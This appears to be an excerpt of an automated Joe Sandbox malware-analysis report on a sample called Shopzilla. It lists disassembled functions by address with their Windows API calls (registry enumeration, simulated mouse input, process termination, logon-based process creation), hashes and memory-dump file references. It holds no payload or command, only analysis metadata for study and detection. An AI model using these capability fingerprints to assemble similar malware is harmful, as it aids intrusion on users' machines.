Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 7d379502b1199353646dd4db614ffe19846ffd53880f030a4062d4b3d1e50103
Instruction ID: 4309fd9cf803b7f75fb854675106f07a88d52c90352e7ddcdc610b9d1294e994
Opcode Fuzzy Hash: 7d379502b1199353646dd4db614ffe19846ffd53880f030a4062d4b3d1e50103
Instruction Fuzzy Hash: A8B15939904249DBDF14CFA8C580BEDB7F1FF09310F1485AAED59AB254EB34AA50CB64

Function 00C068E0 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C06A33
_memmove.LIBCMT ref: 00C0696E

Part of subcall function 00BA4D37: __itow.LIBCMT ref: 00BA4D62
Part of subcall function 00BA4D37: __swprintf.LIBCMT ref: 00BA4DAC

_memmove.LIBCMT ref: 00C069E1
_memmove.LIBCMT ref: 00C06AC8
_memmove.LIBCMT ref: 00C06AE1
_memmove.LIBCMT ref: 00C06AFD

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 9c84728a43189bd6ce68faab2277934646e23141b114edc06f1b291e46af5055
Instruction ID: 47cc63056fa1f54e94a3a17268da6f51650f9d2ea9c69da0282a15ce8b5e27e3
Opcode Fuzzy Hash: 9c84728a43189bd6ce68faab2277934646e23141b114edc06f1b291e46af5055
Instruction Fuzzy Hash: 1161CC3060425A9FCB11FF64C881EFE37A8AF45308F448599F8996B2D2DB74AD15EB60

Function 00C2060C Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB1A36: _memmove.LIBCMT ref: 00BB1A77

Part of subcall function 00C21242: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00C201D5,?,?), ref: 00C21259

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00C206E5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00C20725
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00C20748
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00C20771
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00C207B4
RegCloseKey.ADVAPI32(00000000), ref: 00C207C1

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 7cda8c7a219cbfbf35947c259877a105c97f7847f2735e1754c15834c6000ddd
Instruction ID: 83d113372212e2b594aa51ce568a774ef5351ef4f26e954b63755eddfb289e7a
Opcode Fuzzy Hash: 7cda8c7a219cbfbf35947c259877a105c97f7847f2735e1754c15834c6000ddd
Instruction Fuzzy Hash: BF518931118304AFC714EF24D895EAEBBE8FF84710F144A5DF995872A2DB71E904CB92

Function 00C25B9E Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00C25C00
GetMenuItemCount.USER32(00000000), ref: 00C25C37
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00C25C5F
GetMenuItemID.USER32(?,?), ref: 00C25CCE
GetSubMenu.USER32(?,?), ref: 00C25CDC
PostMessageW.USER32(?,00000111,?,00000000), ref: 00C25D2D

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 972c8adaa02b3bc58011bf580980fe5c7fb81b46433d2d00107c248e414f6d20
Instruction ID: b5ef030a0509cc4da4251350b73f3bd24d816ac607bfbbb0446a666388a016f5
Opcode Fuzzy Hash: 972c8adaa02b3bc58011bf580980fe5c7fb81b46433d2d00107c248e414f6d20
Instruction Fuzzy Hash: 31518E75A00A29AFCF11EFA4D945AAEB7F4EF48310F1440A9E851BB351DB70AE41CB90

Function 00BFF46B Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00BFF485
VariantClear.OLEAUT32(00000013), ref: 00BFF4F7
VariantClear.OLEAUT32(00000000), ref: 00BFF552
_memmove.LIBCMT ref: 00BFF57C
VariantClear.OLEAUT32(?), ref: 00BFF5C9
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00BFF5F7

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: dbc4b6355ffa8cec2240fdfcc69be0902a862bafd933579ec065b344db71c95d
Instruction ID: 40bba705ba42f290eaa1b19ac157a2584b64be180fbaa914fd12f54438c0af57
Opcode Fuzzy Hash: dbc4b6355ffa8cec2240fdfcc69be0902a862bafd933579ec065b344db71c95d
Instruction Fuzzy Hash: 2E513D75A0020AEFDB14CF58C894AAAB7F8FF4C314B158569EA59DB304D730E955CF90

Function 00C0281D Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C0286B
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00C028B6
IsMenu.USER32(00000000), ref: 00C028D6
CreatePopupMenu.USER32 ref: 00C0290A
GetMenuItemCount.USER32(000000FF), ref: 00C02968
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00C02999

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 651ea30a069902fe15c34dcf8fbb314c24eaeec34c459115c8f096f01d9ee1c1
Instruction ID: 39cbf995722629951011fbbacc0c599266b4156f2c5adc7b6302ca89e523de9d
Opcode Fuzzy Hash: 651ea30a069902fe15c34dcf8fbb314c24eaeec34c459115c8f096f01d9ee1c1
Instruction Fuzzy Hash: 3C51AB70A0020AEBDF25CF68C98CBAEBBF5EF44314F144659E865AB2D1D7709A44CF61

Function 00BA1B41 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00BA29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BA29F3

BeginPaint.USER32(?,?,?,?,?,?), ref: 00BA1B76
GetWindowRect.USER32(?,?), ref: 00BA1BDA
ScreenToClient.USER32(?,?), ref: 00BA1BF7
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00BA1C08
EndPaint.USER32(?,?), ref: 00BA1C52

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: bcca67e1f08c7d326c2df9d2f42407a7f2fc10864ecfc62e2cee268ef785e549
Instruction ID: 4d83201ed0286d340c060ba3fccb9c9da748c4ba2d764813048150d5bbeede33
Opcode Fuzzy Hash: bcca67e1f08c7d326c2df9d2f42407a7f2fc10864ecfc62e2cee268ef785e549
Instruction Fuzzy Hash: A841B371108300AFD720DF29DC85FBA7BF8FB4A320F140AA9F9558B2A2D7719845DB61

Function 00C2BA8B Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(00C667B0,00000000,00D356E0,?,?,00C667B0,?,00C2B995,?,?), ref: 00C2BAFF
EnableWindow.USER32(?,00000000), ref: 00C2BB23
ShowWindow.USER32(00C667B0,00000000,00D356E0,?,?,00C667B0,?,00C2B995,?,?), ref: 00C2BB83
ShowWindow.USER32(?,00000004,?,00C2B995,?,?), ref: 00C2BB95
EnableWindow.USER32(?,00000001), ref: 00C2BBB9
SendMessageW.USER32(?,0000130C,?,00000000), ref: 00C2BBDC

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: a4ce5d98abfcc5537e8e486a35c18ee2a5a631f7d8308707be901fe73510e9ad
Instruction ID: a33d31a3d309d7c66000dcb5fec65edc0b6c7c2144ccf2c8b6a533e82cc03281
Opcode Fuzzy Hash: a4ce5d98abfcc5537e8e486a35c18ee2a5a631f7d8308707be901fe73510e9ad
Instruction Fuzzy Hash: B9415E34600550AFDB25CF24D899FA47BE1FB09314F1881A9EE688F6A6C731AD45CB90

Function 00C1754D Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,00C152F1,?,?,00000000,00000001), ref: 00C1755B

Part of subcall function 00C13E50: GetWindowRect.USER32(?,?), ref: 00C13E63

GetDesktopWindow.USER32 ref: 00C17585
GetWindowRect.USER32(00000000), ref: 00C1758C
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00C175BE

Part of subcall function 00C0566C: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00C056E4

GetCursorPos.USER32(?), ref: 00C175EA
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00C17648

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: d6aefde39439868adca140d1ed35c4a994e86e1824265a5cae08965a331b95fa
Instruction ID: f387eaf0c9359c87d355968bc82e816c66048264f293813c0dcb33b72a33e1cb
Opcode Fuzzy Hash: d6aefde39439868adca140d1ed35c4a994e86e1824265a5cae08965a331b95fa
Instruction Fuzzy Hash: 7031D072108305ABD720DF14C849F9FBBEAFF89314F100A19F49997191DA30EA48CB92

Function 00BF9214 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BF8AAA: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00BF8AC1
Part of subcall function 00BF8AAA: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00BF8ACB
Part of subcall function 00BF8AAA: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00BF8ADA
Part of subcall function 00BF8AAA: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00BF8AE1
Part of subcall function 00BF8AAA: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00BF8AF7

GetLengthSid.ADVAPI32(?,00000000,00BF8E30), ref: 00BF9265
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00BF9271
HeapAlloc.KERNEL32(00000000), ref: 00BF9278
CopySid.ADVAPI32(00000000,00000000,?), ref: 00BF9291
GetProcessHeap.KERNEL32(00000000,00000000,00BF8E30), ref: 00BF92A5
HeapFree.KERNEL32(00000000), ref: 00BF92AC

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: f4b10c6fa8c331f7191421ec465c9635c77bd0948e9d27e7330042649387f92f
Instruction ID: b4ef2f7e6593c6b8f9f7e595de69680861cab20e2d73b2e8f35fb54983b124f2
Opcode Fuzzy Hash: f4b10c6fa8c331f7191421ec465c9635c77bd0948e9d27e7330042649387f92f
Instruction Fuzzy Hash: 61118E32511208FFDB149FA4CC59FBE7BA9EB45316F204099F94597210DB32A948EB60

Function 00BF8FB2 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00BF8FE3
OpenProcessToken.ADVAPI32(00000000), ref: 00BF8FEA
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00BF8FF9
CloseHandle.KERNEL32(00000004), ref: 00BF9004
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00BF9033
DestroyEnvironmentBlock.USERENV(00000000), ref: 00BF9047

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 892fbd38408351f2b02b4eb69ac36a91303edede23f5d081f951c28ec53ec2fd
Instruction ID: d22394ac63b770ca76342b2ec45513f1e882b1ecbd0b931af84f6c2d4e254682
Opcode Fuzzy Hash: 892fbd38408351f2b02b4eb69ac36a91303edede23f5d081f951c28ec53ec2fd
Instruction Fuzzy Hash: 86116A7250124DAFDF118FA8ED49FEE7BA9EF08304F144095FE04A2160C7729E64EB60

Function 00BFC10C Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00BFC131
GetDeviceCaps.GDI32(00000000,00000058), ref: 00BFC142
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00BFC149
ReleaseDC.USER32(00000000,00000000), ref: 00BFC151
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00BFC168
MulDiv.KERNEL32(000009EC,?,?), ref: 00BFC17A

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 5b4c83442b07edb6155233e00e67570f6b65ff7f407ed6ef9b8de030e27a1376
Instruction ID: 6161d9c4fb52053f6add6bfde41d4f7b980465c12ef81dd0538c8144d002d3f9
Opcode Fuzzy Hash: 5b4c83442b07edb6155233e00e67570f6b65ff7f407ed6ef9b8de030e27a1376
Instruction Fuzzy Hash: E1014476E40218BBEB109BA69D49B5EBFF8EB58751F1040A5FE04A7281D6709D14CFA0

Function 00C2C2CD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00BA16CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00BA1729
Part of subcall function 00BA16CF: SelectObject.GDI32(?,00000000), ref: 00BA1738
Part of subcall function 00BA16CF: BeginPath.GDI32(?), ref: 00BA174F
Part of subcall function 00BA16CF: SelectObject.GDI32(?,00000000), ref: 00BA1778

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 00C2C2F7
LineTo.GDI32(00000000,00000003,?), ref: 00C2C30B
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00C2C319
LineTo.GDI32(00000000,00000000,?), ref: 00C2C329
EndPath.GDI32(00000000), ref: 00C2C339
StrokePath.GDI32(00000000), ref: 00C2C349

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 10426072d086b531e2685c1f41477d870593d4f4ae416ace05ad72bb2090fc8c
Instruction ID: d8b5a5a650030865e015a256c3e911c4e6f917805cdd916c8b78775bf5f7deaf
Opcode Fuzzy Hash: 10426072d086b531e2685c1f41477d870593d4f4ae416ace05ad72bb2090fc8c
Instruction Fuzzy Hash: 7411E272000108BFEB129F95DC88FEE7FA9EB08354F148461BA189A1A1C7729A55DBA0

Function 00BC06E6 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00BC0717
MapVirtualKeyW.USER32(00000010,00000000), ref: 00BC071F
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00BC072A
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00BC0735
MapVirtualKeyW.USER32(00000011,00000000), ref: 00BC073D
MapVirtualKeyW.USER32(00000012,00000000), ref: 00BC0745

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: e999ddba33b7b75d4671c1924f56c23d484522653489b713218e388e95ee0821
Instruction ID: 4b5c19b860319a45e930136a1831f598bb61ea6026f853710905fec66a691663
Opcode Fuzzy Hash: e999ddba33b7b75d4671c1924f56c23d484522653489b713218e388e95ee0821
Instruction Fuzzy Hash: 500148B09017597DE3008F5A8C85B56FEB8FF59354F00411BA15847941C7B5A864CBE5

Function 00C05811 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00C05821
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00C05837
GetWindowThreadProcessId.USER32(?,?), ref: 00C05846
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00C05855
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00C0585F
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00C05866

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: dc197de5b69340131a1cea63df43288358442493082f31491df858cb1ae49943
Instruction ID: 2a036df07b8bfae79921ed053304b5c8e725851ec9fb2ca1ca6fe1a5644cf7b4
Opcode Fuzzy Hash: dc197de5b69340131a1cea63df43288358442493082f31491df858cb1ae49943
Instruction Fuzzy Hash: 46F01D32251558BBE7215B929C0EFEF7A7CEBC6B11F100159FA0491090D7A01A1186B5

Function 00C07658 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00C0766B
EnterCriticalSection.KERNEL32(?,?,00BAC2B6,?,?), ref: 00C0767C
TerminateThread.KERNEL32(00000000,000001F6,?,00BAC2B6,?,?), ref: 00C07689
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00BAC2B6,?,?), ref: 00C07696

Part of subcall function 00C0705D: CloseHandle.KERNEL32(00000000,?,00C076A3,?,00BAC2B6,?,?), ref: 00C07067

InterlockedExchange.KERNEL32(?,000001F6), ref: 00C076A9
LeaveCriticalSection.KERNEL32(?,?,00BAC2B6,?,?), ref: 00C076B0

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 9a6c0ab5223c9338c4df89dcee846bcaab2272e6ed47609448cba8306992b778
Instruction ID: 41321f9ee110dd204db055fc52bff84498378895171081a8e59a65d39ec59056
Opcode Fuzzy Hash: 9a6c0ab5223c9338c4df89dcee846bcaab2272e6ed47609448cba8306992b778
